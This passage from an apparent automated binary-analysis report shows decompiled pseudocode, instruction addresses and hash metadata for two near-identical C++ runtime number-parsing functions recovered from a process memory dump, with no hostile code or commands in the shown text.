				char* _t164;
				void* _t165;
				void* _t166;
				signed int _t177;
				signed int _t183;
				intOrPtr _t188;
				intOrPtr _t189;
				signed int _t208;
				signed int _t212;
				char _t220;
				intOrPtr _t231;
				intOrPtr _t232;
				signed int _t236;
				void* _t237;
				char* _t241;
				signed int _t243;
				signed int _t245;
				void* _t246;

				E0049D93F(0x4d6c76, __edi, __esi);
				_t188 =  *((intOrPtr*)(_t246 + 0x10));
				 *((intOrPtr*)(_t246 - 0x94)) =  *((intOrPtr*)(_t246 + 0xc));
				 *((intOrPtr*)(_t246 - 0x88)) =  *((intOrPtr*)(_t246 + 0x14));
				 *(_t246 - 0x80) =  *(_t246 + 0x1c);
				_t130 = E0048CCE2( *(_t246 + 0x1c));
				_t234 = _t130;
				 *0x4f02b4(_t246 - 0x78, 0x88);
				 *((intOrPtr*)( *((intOrPtr*)( *_t130 + 0x14))))();
				 *(_t246 - 4) =  *(_t246 - 4) & 0x00000000;
				if( *((intOrPtr*)(_t246 - 0x68)) != 0) {
					 *(_t246 - 0x90) = E0049938F(_t234) & 0x0000ffff;
				} else {
					 *(_t246 - 0x90) =  *(_t246 - 0x90) & 0x00000000;
				}
				_t136 = E0048C427( *(_t246 - 0x80));
				 *0x4f02b4("0123456789ABCDEFabcdef-+Xx", 0x402d3b, _t246 - 0x48);
				 *((intOrPtr*)( *((intOrPtr*)( *_t136 + 0x2c))))();
				_t241 =  *((intOrPtr*)(_t246 - 0x94));
				 *((intOrPtr*)(_t246 - 0x84)) = _t241;
				if(E0048B3A2(_t188,  *((intOrPtr*)(_t246 - 0x88))) == 0) {
					L13:
					_t243 =  *(_t246 + 0x18) & 0x00000e00;
					_t236 = 0xa;
					 *(_t246 - 0x80) = _t236;
					if(_t243 != 0x400) {
						if(_t243 != 0x800) {
							asm("sbb esi, esi");
							_t245 =  ~_t243 & _t236;
							L19:
							 *((char*)(_t246 - 0x79)) = 0;
							 *((char*)(_t246 - 0x8c)) = 0;
							 *((char*)(_t246 - 0x7a)) = 0;
							E0048B3A2(_t188,  *((intOrPtr*)(_t246 - 0x88)));
							if(0 == 0) {
								L35:
								if(_t245 == 0) {
									L38:
									 *(_t246 - 0x50) =  *(_t246 - 0x50) & 0x00000000;
									 *((intOrPtr*)(_t246 - 0x4c)) = 0xf;
									 *(_t246 - 0x60) = 0;
									E0042CF44(_t246 - 0x60, 1,  *((intOrPtr*)(_t246 - 0x8c)));
									_t237 = 0;
									 *(_t246 - 4) = 1;
									 *((intOrPtr*)(_t246 - 0x8c)) =  *((intOrPtr*)(_t246 - 0x94)) + 0x1f;
									_t146 = E0048B3A2(_t188,  *((intOrPtr*)(_t246 - 0x88)));
									_pop(_t207);
									if(_t146 == 0) {
										_t208 =  *(_t246 - 0x60);
										_t189 =  *((intOrPtr*)(_t246 - 0x4c));
										L69:
										_t231 =  *((intOrPtr*)(_t246 - 0x79));
										L70:
										_t147 = _t246 - 0x78;
										if( *((intOrPtr*)(_t246 - 0x64)) >= 0x10) {
											_t147 =  *((intOrPtr*)(_t246 - 0x78));
										}
										if(_t231 == 0) {
											L87:
											_t148 =  *((intOrPtr*)(_t246 - 0x94));
											goto L88;
										} else {
											while(_t237 != 0) {
												_t232 =  *_t147;
												if(_t232 == 0x7f) {
													break;
												}
												_t237 = _t237 - 1;
												if(_t237 == 0) {
													L79:
													if(_t237 != 0) {
														L83:
														if( *((char*)(_t147 + 1)) > 0) {
															_t147 = _t147 + 1;
														}
														continue;
													}
													 *(_t246 - 0x80) = _t246 - 0x60;
													if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
														 *(_t246 - 0x80) = _t208;
													}
													_t189 =  *((intOrPtr*)(_t246 - 0x4c));
													if(_t232 <  *( *(_t246 - 0x80))) {
														goto L87;
													} else {
														goto L83;
													}
												}
												 *(_t246 - 0x80) = _t246 - 0x60;
												_t212 =  *(_t246 - 0x60);
												if(_t189 >= 0x10) {
													_t189 =  *((intOrPtr*)(_t246 - 0x4c));
													 *(_t246 - 0x80) = _t212;
												}
												_t208 =  *(_t246 - 0x60);
												if(_t232 !=  *((intOrPtr*)( *(_t246 - 0x80) + _t237))) {
													goto L87;
												} else {
													goto L79;
												}
											}
											_t148 =  *((intOrPtr*)(_t246 - 0x84));
											if( *((char*)(_t246 - 0x7a)) == 0) {
												 *_t148 = 0x30;
												_t148 = _t148 + 1;
											}
											L88:
											 *_t148 = 0;
											E0042CED4(_t246 - 0x60);
											E0042CED4(_t246 - 0x78);
											return E0049D8E9(_t245, _t237, _t245);
										}
									} else {
										goto L39;
									}
									do {
										L39:
										if( *((char*)(_t188 + 4)) == 0) {
											_t207 = _t188;
											E00493CF1(_t188);
										}
										_t155 = E0048B42A(_t207, _t246 - 0x48,  *(_t188 + 6) & 0x0000ffff);
										if(_t155 >=  *(_t246 - 0x80)) {
											_t156 = _t246 - 0x60;
											_t208 =  *(_t246 - 0x60);
											if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
												_t156 = _t208;
											}
											if( *((char*)(_t156 + _t237)) == 0 ||  *(_t246 - 0x90) == 0) {
												L62:
												_t189 =  *((intOrPtr*)(_t246 - 0x4c));
												if(_t237 == 0) {
													goto L69;
												}
												_t157 = _t246 - 0x60;
												if(_t189 >= 0x10) {
													_t157 = _t208;
												}
												if( *((char*)(_t157 + _t237)) <= 0) {
													_t231 = 0;
													goto L70;
												} else {
													_t237 = _t237 + 1;
													goto L69;
												}
											} else {
												_t158 =  *(_t188 + 6) & 0x0000ffff;
												if( *((char*)(_t188 + 4)) == 0) {
													E00493CF1(_t188);
													_t158 =  *(_t188 + 6) & 0x0000ffff;
													_t208 =  *(_t246 - 0x60);
												}
												if(_t158 !=  *(_t246 - 0x90)) {
													goto L62;
												} else {
													E0042CF09(_t246 - 0x60, 0);
													_t237 = _t237 + 1;
													goto L60;
												}
											}
										} else {
											_t220 =  *((intOrPtr*)(_t155 + "0123456789ABCDEFabcdef-+Xx"));
											_t164 =  *((intOrPtr*)(_t246 - 0x84));
											 *_t164 = _t220;
											if( *((char*)(_t246 - 0x7a)) != 0 || _t220 != 0x30) {
												if(_t164 <  *((intOrPtr*)(_t246 - 0x8c))) {
													 *((char*)(_t246 - 0x7a)) = 1;
													 *((intOrPtr*)(_t246 - 0x84)) = _t164 + 1;
												}
											}
											_t165 = _t246 - 0x60;
											 *((char*)(_t246 - 0x79)) = 1;
											if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
												_t165 =  *(_t246 - 0x60);
											}
											if( *((char*)(_t165 + _t237)) != 0x7f) {
												_t166 = _t246 - 0x60;
												if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
													_t166 =  *(_t246 - 0x60);
												}
												 *((char*)(_t166 + _t237)) =  *((char*)(_t166 + _t237)) + 1;
											}
										}
										L60:
										E00492850(_t188);
										_t161 = E0048B3A2(_t188,  *((intOrPtr*)(_t246 - 0x88)));
										_pop(_t207);
									} while (_t161 != 0);
									_t208 =  *(_t246 - 0x60);
									goto L62;
								}
								L36:
								if(_t245 == _t236) {
									goto L38;
								}
								L37:
								 *(_t246 - 0x80) = ((0 | _t245 != 0x00000008) - 0x00000001 & 0xfffffff2) + 0x16;
								goto L38;
							}
							if( *((char*)(_t188 + 4)) == 0) {
								E00493CF1(_t188);
							}
							if(( *(_t188 + 6) & 0x0000ffff) !=  *((intOrPtr*)(_t246 - 0x48))) {
								goto L35;
							} else {
								 *((char*)(_t246 - 0x79)) = 1;
								 *((char*)(_t246 - 0x8c)) = 1;
								E00492850(_t188);
								E0048B3A2(_t188,  *((intOrPtr*)(_t246 - 0x88)));
								if(1 == 0) {
									L33:
									if(_t245 != 0) {
										goto L36;
									}
									_t245 = 8;
									goto L35;
								}
								if( *((char*)(_t188 + 4)) == 0) {
									E00493CF1(_t188);
								}
								_t177 =  *(_t188 + 6) & 0x0000ffff;
								if(_t177 ==  *((intOrPtr*)(_t246 - 0x16))) {
									L30:
									if(_t245 == 0 || _t245 == 0x10) {
										_t245 = 0x10;
										 *((char*)(_t246 - 0x79)) = 0;
										 *((char*)(_t246 - 0x8c)) = 0;
										E00492850(_t188);
										goto L37;
									} else {
										goto L33;
									}
								} else {
									if( *((char*)(_t188 + 4)) == 0) {
										E00493CF1(_t188);
										_t177 =  *(_t188 + 6) & 0x0000ffff;
									}
									if(_t177 !=  *((intOrPtr*)(_t246 - 0x18))) {
										goto L33;
									} else {
										goto L30;
									}
								}
							}
						}
						_push(0x10);
						L17:
						_pop(_t245);
						goto L19;
					}
					_push(8);
					goto L17;
				} else {
					if( *((char*)(_t188 + 4)) == 0) {
						E00493CF1(_t188);
					}
					_t183 =  *(_t188 + 6) & 0x0000ffff;
					if(_t183 !=  *((intOrPtr*)(_t246 - 0x1a))) {
						if( *((char*)(_t188 + 4)) == 0) {
							E00493CF1(_t188);
							_t183 =  *(_t188 + 6) & 0x0000ffff;
						}
						if(_t183 !=  *((intOrPtr*)(_t246 - 0x1c))) {
							goto L13;
						} else {
							 *_t241 = 0x2d;
							goto L12;
						}
					} else {
						 *_t241 = 0x2b;
						L12:
						 *((intOrPtr*)(_t246 - 0x84)) = _t241 + 1;
						E00492850(_t188);
						goto L13;
					}
				}
			}

0x00490783
0x0049078b
0x0049078e
0x00490797
0x004907a1
0x004907a4
0x004907a9
0x004907b7
0x004907bf
0x004907c1
0x004907c9
0x004907de
0x004907cb
0x004907cb
0x004907cb
0x004907e7
0x00490804
0x0049080c
0x00490814
0x0049081b
0x0049082a
0x00490872
0x00490877
0x0049087d
0x0049087e
0x00490887
0x00490893
0x0049089c
0x0049089e
0x004908a0
0x004908a9
0x004908ac
0x004908b2
0x004908b5
0x004908be
0x00490954
0x00490956
0x0049096e
0x00490974
0x0049097d
0x00490984
0x00490988
0x00490993
0x0049099e
0x004909a3
0x004909a9
0x004909af
0x004909b2
0x00490ab5
0x00490ab8
0x00490abb
0x00490abb
0x00490abe
0x00490ac2
0x00490ac5
0x00490ac7
0x00490ac7
0x00490acc
0x00490b35
0x00490b35
0x00000000
0x00490ace
0x00490ace
0x00490ad2
0x00490ad7
0x00000000
0x00000000
0x00490ad9
0x00490adc
0x00490afd
0x00490aff
0x00490b1a
0x00490b1e
0x00490b20
0x00490b20
0x00000000
0x00490b1e
0x00490b08
0x00490b0b
0x00490b0d
0x00490b0d
0x00490b15
0x00490b18
0x00000000
0x00000000
0x00000000
0x00000000
0x00490b18
0x00490ae1
0x00490ae4
0x00490aea
0x00490aec
0x00490aef
0x00490aef
0x00490af8
0x00490afb
0x00000000
0x00000000
0x00000000
0x00000000
0x00490afb
0x00490b27
0x00490b2d
0x00490b2f
0x00490b32
0x00490b32
0x00490b3b
0x00490b3e
0x00490b41
0x00490b49
0x00490b55
0x00490b55
0x00000000
0x00000000
0x00000000
0x004909b8
0x004909b8
0x004909bc
0x004909be
0x004909c0
0x004909c0
0x004909ce
0x004909d8
0x00490a31
0x00490a34
0x00490a37
0x00490a39
0x00490a39
0x00490a3f
0x00490a97
0x00490a97
0x00490a9c
0x00000000
0x00000000
0x00490a9e
0x00490aa4
0x00490aa6
0x00490aa6
0x00490aac
0x00490ab1
0x00000000
0x00490aae
0x00490aae
0x00000000
0x00490aae
0x00490a4b
0x00490a4f
0x00490a53
0x00490a57
0x00490a5c
0x00490a60
0x00490a60
0x00490a6a
0x00000000
0x00490a6c
0x00490a71
0x00490a76
0x00000000
0x00490a76
0x00490a6a
0x004909da
0x004909de
0x004909e4
0x004909ea
0x004909ec
0x004909f9
0x004909fc
0x00490a00
0x00490a00
0x004909f9
0x00490a0a
0x00490a0d
0x00490a11
0x00490a13
0x00490a13
0x00490a1a
0x00490a20
0x00490a23
0x00490a25
0x00490a25
0x00490a28
0x00490a28
0x00490a1a
0x00490a77
0x00490a79
0x00490a85
0x00490a8b
0x00490a8c
0x00490a94
0x00000000
0x00490a94
0x00490958
0x0049095a
0x00000000
0x00000000
0x0049095c
0x0049096b
0x00000000
0x0049096b
0x004908c8
0x004908cc
0x004908cc
0x004908d9
0x00000000
0x004908db
0x004908df
0x004908e2
0x004908e8
0x004908f4
0x004908fd
0x0049094d
0x0049094f
0x00000000
0x00000000
0x00490953
0x00000000
0x00490953
0x00490903
0x00490907
0x00490907
0x0049090c
0x00490914
0x0049092d
0x0049092f
0x0049093c
0x0049093d
0x00490940
0x00490946
0x00000000
0x00000000
0x00000000
0x00000000
0x00490916
0x0049091a
0x0049091e
0x00490923
0x00490923
0x0049092b
0x00000000
0x00000000
0x00000000
0x00000000
0x0049092b
0x00490914
0x004908d9
0x00490895
0x00490897
0x00490897
0x00000000
0x00490897
0x00490889
0x00000000
0x0049082c
0x00490830
0x00490834
0x00490834
0x00490839
0x00490841
0x0049084c
0x00490850
0x00490855
0x00490855
0x0049085d
0x00000000
0x0049085f
0x0049085f
0x00000000
0x0049085f
0x00490843
0x00490843
0x00490862
0x00490867
0x0049086d
0x00000000
0x0049086d
0x00490841

APIs

__EH_prolog3_GS.LIBCMT ref: 00490783

Part of subcall function 0048CCE2: __EH_prolog3.LIBCMT ref: 0048CCE9
Part of subcall function 0048CCE2: std::_Lockit::_Lockit.LIBCPMT ref: 0048CCF3
Part of subcall function 0048CCE2: std::_Lockit::~_Lockit.LIBCPMT ref: 0048CD64

_Find_elem.LIBCPMT ref: 004909CE

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 004907FA

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction ID: 490cfd8966008d8ea8aa2438db57e70df60011e500df6618bd9db9fa2d7fdad4
Opcode Fuzzy Hash: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction Fuzzy Hash: 9FC19271D043588EDF21DF68C8817ADBFB2AF15314F5440ABE8896B283CB785D85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00490B56, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00490B56(void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t130;
				intOrPtr* _t136;
				void* _t146;
				intOrPtr* _t147;
				char* _t148;
				void* _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				void* _t161;
				char* _t164;
				void* _t165;
				void* _t166;
				signed int _t177;
				signed int _t183;
				intOrPtr _t188;
				intOrPtr _t189;
				signed int _t208;
				signed int _t212;
				char _t220;
				intOrPtr _t231;
				intOrPtr _t232;
				signed int _t236;
				signed int _t237;
				char* _t241;
				signed int _t243;
				signed int _t245;
				void* _t246;

				E0049D93F(0x4d6c76, __edi, __esi);
				_t188 =  *((intOrPtr*)(_t246 + 0x10));
				 *((intOrPtr*)(_t246 - 0x94)) =  *((intOrPtr*)(_t246 + 0xc));
				 *((intOrPtr*)(_t246 - 0x88)) =  *((intOrPtr*)(_t246 + 0x14));
				 *(_t246 - 0x80) =  *(_t246 + 0x1c);
				_t130 = E0048CD77( *(_t246 + 0x1c));
				_t234 = _t130;
				_t239 =  *((intOrPtr*)( *_t130 + 0x14));
				 *0x4f02b4(_t246 - 0x78, 0x88);
				 *((intOrPtr*)( *((intOrPtr*)( *_t130 + 0x14))))();
				 *(_t246 - 4) =  *(_t246 - 4) & 0x00000000;
				_t248 =  *((intOrPtr*)(_t246 - 0x68));
				if( *((intOrPtr*)(_t246 - 0x68)) != 0) {
					 *(_t246 - 0x90) = E0049938F(_t234) & 0x0000ffff;
				} else {
					 *(_t246 - 0x90) =  *(_t246 - 0x90) & 0x00000000;
				}
				_t136 = E00483AE0(_t234, _t239, _t248);
				 *0x4f02b4("0123456789ABCDEFabcdef-+Xx", 0x402d73, _t246 - 0x48,  *(_t246 - 0x80));
				 *((intOrPtr*)( *((intOrPtr*)( *_t136 + 0x2c))))();
				_t241 =  *((intOrPtr*)(_t246 - 0x94));
				 *((intOrPtr*)(_t246 - 0x84)) = _t241;
				if(E0048B3B8(_t188,  *((intOrPtr*)(_t246 - 0x88))) == 0) {
					L13:
					_t243 =  *(_t246 + 0x18) & 0x00000e00;
					_t236 = 0xa;
					 *(_t246 - 0x80) = _t236;
					if(_t243 != 0x400) {
						__eflags = _t243 - 0x800;
						if(_t243 != 0x800) {
							asm("sbb esi, esi");
							_t245 =  ~_t243 & _t236;
							__eflags = _t245;
							L19:
							 *((char*)(_t246 - 0x79)) = 0;
							 *((char*)(_t246 - 0x8c)) = 0;
							 *((char*)(_t246 - 0x7a)) = 0;
							E0048B3B8(_t188,  *((intOrPtr*)(_t246 - 0x88)));
							if(0 == 0) {
								L35:
								__eflags = _t245;
								if(_t245 == 0) {
									L38:
									 *(_t246 - 0x50) =  *(_t246 - 0x50) & 0x00000000;
									 *((intOrPtr*)(_t246 - 0x4c)) = 0xf;
									 *(_t246 - 0x60) = 0;
									E0042CF44(_t246 - 0x60, 1,  *((intOrPtr*)(_t246 - 0x8c)));
									_t237 = 0;
									 *(_t246 - 4) = 1;
									 *((intOrPtr*)(_t246 - 0x8c)) =  *((intOrPtr*)(_t246 - 0x94)) + 0x1f;
									_t146 = E0048B3B8(_t188,  *((intOrPtr*)(_t246 - 0x88)));
									_pop(_t207);
									if(_t146 == 0) {
										_t208 =  *(_t246 - 0x60);
										_t189 =  *((intOrPtr*)(_t246 - 0x4c));
										L69:
										_t231 =  *((intOrPtr*)(_t246 - 0x79));
										L70:
										_t147 = _t246 - 0x78;
										if( *((intOrPtr*)(_t246 - 0x64)) >= 0x10) {
											_t147 =  *((intOrPtr*)(_t246 - 0x78));
										}
										if(_t231 == 0) {
											L87:
											_t148 =  *((intOrPtr*)(_t246 - 0x94));
											goto L88;
										} else {
											while(_t237 != 0) {
												_t232 =  *_t147;
												if(_t232 == 0x7f) {
													break;
												}
												_t237 = _t237 - 1;
												if(_t237 == 0) {
													L79:
													if(_t237 != 0) {
														L83:
														if( *((char*)(_t147 + 1)) > 0) {
															_t147 = _t147 + 1;
														}
														continue;
													}
													 *(_t246 - 0x80) = _t246 - 0x60;
													if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
														 *(_t246 - 0x80) = _t208;
													}
													_t189 =  *((intOrPtr*)(_t246 - 0x4c));
													if(_t232 <  *( *(_t246 - 0x80))) {
														goto L87;
													} else {
														goto L83;
													}
												}
												 *(_t246 - 0x80) = _t246 - 0x60;
												_t212 =  *(_t246 - 0x60);
												if(_t189 >= 0x10) {
													_t189 =  *((intOrPtr*)(_t246 - 0x4c));
													 *(_t246 - 0x80) = _t212;
												}
												_t208 =  *(_t246 - 0x60);
												if(_t232 !=  *((intOrPtr*)( *(_t246 - 0x80) + _t237))) {
													goto L87;
												} else {
													goto L79;
												}
											}
											__eflags =  *((char*)(_t246 - 0x7a));
											_t148 =  *((intOrPtr*)(_t246 - 0x84));
											if( *((char*)(_t246 - 0x7a)) == 0) {
												 *_t148 = 0x30;
												_t148 = _t148 + 1;
											}
											L88:
											 *_t148 = 0;
											E0042CED4(_t246 - 0x60);
											E0042CED4(_t246 - 0x78);
											return E0049D8E9(_t245, _t237, _t245);
										}
									} else {
										goto L39;
									}
									do {
										L39:
										if( *((char*)(_t188 + 4)) == 0) {
											_t207 = _t188;
											E00493D1F(_t188);
										}
										_t155 = E0048B42A(_t207, _t246 - 0x48,  *(_t188 + 6) & 0x0000ffff);
										if(_t155 >=  *(_t246 - 0x80)) {
											__eflags =  *((intOrPtr*)(_t246 - 0x4c)) - 0x10;
											_t156 = _t246 - 0x60;
											_t208 =  *(_t246 - 0x60);
											if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
												_t156 = _t208;
											}
											__eflags =  *((char*)(_t156 + _t237));
											if( *((char*)(_t156 + _t237)) == 0) {
												L62:
												_t189 =  *((intOrPtr*)(_t246 - 0x4c));
												if(_t237 == 0) {
													goto L69;
												}
												_t157 = _t246 - 0x60;
												if(_t189 >= 0x10) {
													_t157 = _t208;
												}
												if( *((char*)(_t157 + _t237)) <= 0) {
													_t231 = 0;
													goto L70;
												} else {
													_t237 = _t237 + 1;
													goto L69;
												}
											} else {
												__eflags =  *(_t246 - 0x90);
												if( *(_t246 - 0x90) == 0) {
													goto L62;
												}
												__eflags =  *((char*)(_t188 + 4));
												_t158 =  *(_t188 + 6) & 0x0000ffff;
												if( *((char*)(_t188 + 4)) == 0) {
													E00493D1F(_t188);
													_t158 =  *(_t188 + 6) & 0x0000ffff;
													_t208 =  *(_t246 - 0x60);
												}
												__eflags = _t158 -  *(_t246 - 0x90);
												if(_t158 !=  *(_t246 - 0x90)) {
													goto L62;
												} else {
													E0042CF09(_t246 - 0x60, 0);
													_t237 = _t237 + 1;
													__eflags = _t237;
													goto L60;
												}
											}
										} else {
											_t220 =  *((intOrPtr*)(_t155 + "0123456789ABCDEFabcdef-+Xx"));
											_t164 =  *((intOrPtr*)(_t246 - 0x84));
											 *_t164 = _t220;
											if( *((char*)(_t246 - 0x7a)) != 0 || _t220 != 0x30) {
												if(_t164 <  *((intOrPtr*)(_t246 - 0x8c))) {
													 *((char*)(_t246 - 0x7a)) = 1;
													 *((intOrPtr*)(_t246 - 0x84)) = _t164 + 1;
												}
											}
											_t165 = _t246 - 0x60;
											 *((char*)(_t246 - 0x79)) = 1;
											if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
												_t165 =  *(_t246 - 0x60);
											}
											if( *((char*)(_t165 + _t237)) != 0x7f) {
												_t166 = _t246 - 0x60;
												if( *((intOrPtr*)(_t246 - 0x4c)) >= 0x10) {
													_t166 =  *(_t246 - 0x60);
												}
												 *((char*)(_t166 + _t237)) =  *((char*)(_t166 + _t237)) + 1;
											}
										}
										L60:
										E00492876(_t188);
										_t161 = E0048B3B8(_t188,  *((intOrPtr*)(_t246 - 0x88)));
										_pop(_t207);
									} while (_t161 != 0);
									_t208 =  *(_t246 - 0x60);
									goto L62;
								}
								L36:
								__eflags = _t245 - _t236;
								if(_t245 == _t236) {
									goto L38;
								}
								L37:
								 *(_t246 - 0x80) = ((0 | _t245 != 0x00000008) - 0x00000001 & 0xfffffff2) + 0x16;
								goto L38;
							}
							if( *((char*)(_t188 + 4)) == 0) {
								E00493D1F(_t188);
							}
							if(( *(_t188 + 6) & 0x0000ffff) !=  *((intOrPtr*)(_t246 - 0x48))) {
								goto L35;
							} else {
								 *((char*)(_t246 - 0x79)) = 1;
								 *((char*)(_t246 - 0x8c)) = 1;
								E00492876(_t188);
								E0048B3B8(_t188,  *((intOrPtr*)(_t246 - 0x88)));
								if(1 == 0) {
									L33:
									__eflags = _t245;
									if(_t245 != 0) {
										goto L36;
									}
									_t245 = 8;
									goto L35;
								}
								if( *((char*)(_t188 + 4)) == 0) {
									E00493D1F(_t188);
								}
								_t177 =  *(_t188 + 6) & 0x0000ffff;
								if(_t177 ==  *((intOrPtr*)(_t246 - 0x16))) {
									L30:
									if(_t245 == 0 || _t245 == 0x10) {
										_t245 = 0x10;
										 *((char*)(_t246 - 0x79)) = 0;
										 *((char*)(_t246 - 0x8c)) = 0;
										E00492876(_t188);
										goto L37;
									} else {
										goto L33;
									}
								} else {
									if( *((char*)(_t188 + 4)) == 0) {
										E00493D1F(_t188);
										_t177 =  *(_t188 + 6) & 0x0000ffff;
									}
									if(_t177 !=  *((intOrPtr*)(_t246 - 0x18))) {
										goto L33;
									} else {
										goto L30;
									}
								}
							}
						}
						_push(0x10);
						L17:
						_pop(_t245);
						goto L19;
					}
					_push(8);
					goto L17;
				} else {
					if( *((char*)(_t188 + 4)) == 0) {
						E00493D1F(_t188);
					}
					_t183 =  *(_t188 + 6) & 0x0000ffff;
					if(_t183 !=  *((intOrPtr*)(_t246 - 0x1a))) {
						__eflags =  *((char*)(_t188 + 4));
						if( *((char*)(_t188 + 4)) == 0) {
							E00493D1F(_t188);
							_t183 =  *(_t188 + 6) & 0x0000ffff;
						}
						__eflags = _t183 -  *((intOrPtr*)(_t246 - 0x1c));
						if(_t183 !=  *((intOrPtr*)(_t246 - 0x1c))) {
							goto L13;
						} else {
							 *_t241 = 0x2d;
							goto L12;
						}
					} else {
						 *_t241 = 0x2b;
						L12:
						 *((intOrPtr*)(_t246 - 0x84)) = _t241 + 1;
						E00492876(_t188);
						goto L13;
					}
				}
			}

0x00490b60
0x00490b68
0x00490b6b
0x00490b74
0x00490b7e
0x00490b81
0x00490b86
0x00490b8f
0x00490b94
0x00490b9c
0x00490b9e
0x00490ba2
0x00490ba6
0x00490bbb
0x00490ba8
0x00490ba8
0x00490ba8
0x00490bc4
0x00490be1
0x00490be9
0x00490bf1
0x00490bf8
0x00490c07
0x00490c4f
0x00490c54
0x00490c5a
0x00490c5b
0x00490c64
0x00490c6a
0x00490c70
0x00490c79
0x00490c7b
0x00490c7b
0x00490c7d
0x00490c86
0x00490c89
0x00490c8f
0x00490c92
0x00490c9b
0x00490d31
0x00490d31
0x00490d33
0x00490d4b
0x00490d51
0x00490d5a
0x00490d61
0x00490d65
0x00490d70
0x00490d7b
0x00490d80
0x00490d86
0x00490d8c
0x00490d8f
0x00490e92
0x00490e95
0x00490e98
0x00490e98
0x00490e9b
0x00490e9f
0x00490ea2
0x00490ea4
0x00490ea4
0x00490ea9
0x00490f12
0x00490f12
0x00000000
0x00490eab
0x00490eab
0x00490eaf
0x00490eb4
0x00000000
0x00000000
0x00490eb6
0x00490eb9
0x00490eda
0x00490edc
0x00490ef7
0x00490efb
0x00490efd
0x00490efd
0x00000000
0x00490efb
0x00490ee5
0x00490ee8
0x00490eea
0x00490eea
0x00490ef2
0x00490ef5
0x00000000
0x00000000
0x00000000
0x00000000
0x00490ef5
0x00490ebe
0x00490ec1
0x00490ec7
0x00490ec9
0x00490ecc
0x00490ecc
0x00490ed5
0x00490ed8
0x00000000
0x00000000
0x00000000
0x00000000
0x00490ed8
0x00490f00
0x00490f04
0x00490f0a
0x00490f0c
0x00490f0f
0x00490f0f
0x00490f18
0x00490f1b
0x00490f1e
0x00490f26
0x00490f32
0x00490f32
0x00000000
0x00000000
0x00000000
0x00490d95
0x00490d95
0x00490d99
0x00490d9b
0x00490d9d
0x00490d9d
0x00490dab
0x00490db5
0x00490e0a
0x00490e0e
0x00490e11
0x00490e14
0x00490e16
0x00490e16
0x00490e18
0x00490e1c
0x00490e74
0x00490e74
0x00490e79
0x00000000
0x00000000
0x00490e7b
0x00490e81
0x00490e83
0x00490e83
0x00490e89
0x00490e8e
0x00000000
0x00490e8b
0x00490e8b
0x00000000
0x00490e8b
0x00490e1e
0x00490e1e
0x00490e26
0x00000000
0x00000000
0x00490e28
0x00490e2c
0x00490e30
0x00490e34
0x00490e39
0x00490e3d
0x00490e3d
0x00490e40
0x00490e47
0x00000000
0x00490e49
0x00490e4e
0x00490e53
0x00490e53
0x00000000
0x00490e53
0x00490e47
0x00490db7
0x00490dbb
0x00490dc1
0x00490dc7
0x00490dc9
0x00490dd6
0x00490dd9
0x00490ddd
0x00490ddd
0x00490dd6
0x00490de7
0x00490dea
0x00490dee
0x00490df0
0x00490df0
0x00490df7
0x00490dfd
0x00490e00
0x00490e02
0x00490e02
0x00490e05
0x00490e05
0x00490df7
0x00490e54
0x00490e56
0x00490e62
0x00490e68
0x00490e69
0x00490e71
0x00000000
0x00490e71
0x00490d35
0x00490d35
0x00490d37
0x00000000
0x00000000
0x00490d39
0x00490d48
0x00000000
0x00490d48
0x00490ca5
0x00490ca9
0x00490ca9
0x00490cb6
0x00000000
0x00490cb8
0x00490cbc
0x00490cbf
0x00490cc5
0x00490cd1
0x00490cda
0x00490d2a
0x00490d2a
0x00490d2c
0x00000000
0x00000000
0x00490d30
0x00000000
0x00490d30
0x00490ce0
0x00490ce4
0x00490ce4
0x00490ce9
0x00490cf1
0x00490d0a
0x00490d0c
0x00490d19
0x00490d1a
0x00490d1d
0x00490d23
0x00000000
0x00000000
0x00000000
0x00000000
0x00490cf3
0x00490cf7
0x00490cfb
0x00490d00
0x00490d00
0x00490d08
0x00000000
0x00000000
0x00000000
0x00000000
0x00490d08
0x00490cf1
0x00490cb6
0x00490c72
0x00490c74
0x00490c74
0x00000000
0x00490c74
0x00490c66
0x00000000
0x00490c09
0x00490c0d
0x00490c11
0x00490c11
0x00490c16
0x00490c1e
0x00490c25
0x00490c29
0x00490c2d
0x00490c32
0x00490c32
0x00490c36
0x00490c3a
0x00000000
0x00490c3c
0x00490c3c
0x00000000
0x00490c3c
0x00490c20
0x00490c20
0x00490c3f
0x00490c44
0x00490c4a
0x00000000
0x00490c4a
0x00490c1e

APIs

__EH_prolog3_GS.LIBCMT ref: 00490B60

Part of subcall function 0048CD77: __EH_prolog3.LIBCMT ref: 0048CD7E
Part of subcall function 0048CD77: std::_Lockit::_Lockit.LIBCPMT ref: 0048CD88
Part of subcall function 0048CD77: std::_Lockit::~_Lockit.LIBCPMT ref: 0048CDF9

_Find_elem.LIBCPMT ref: 00490DAB

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00490BD7

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: cabe3b0566db0db42ef53d4d012122222c7dd955ce98bae3f46502ae2c6f9f67
Instruction ID: 23fbfddedab11836c2148fbdb1d86ed87b44b514525450ac2377edd3fdd7f77d
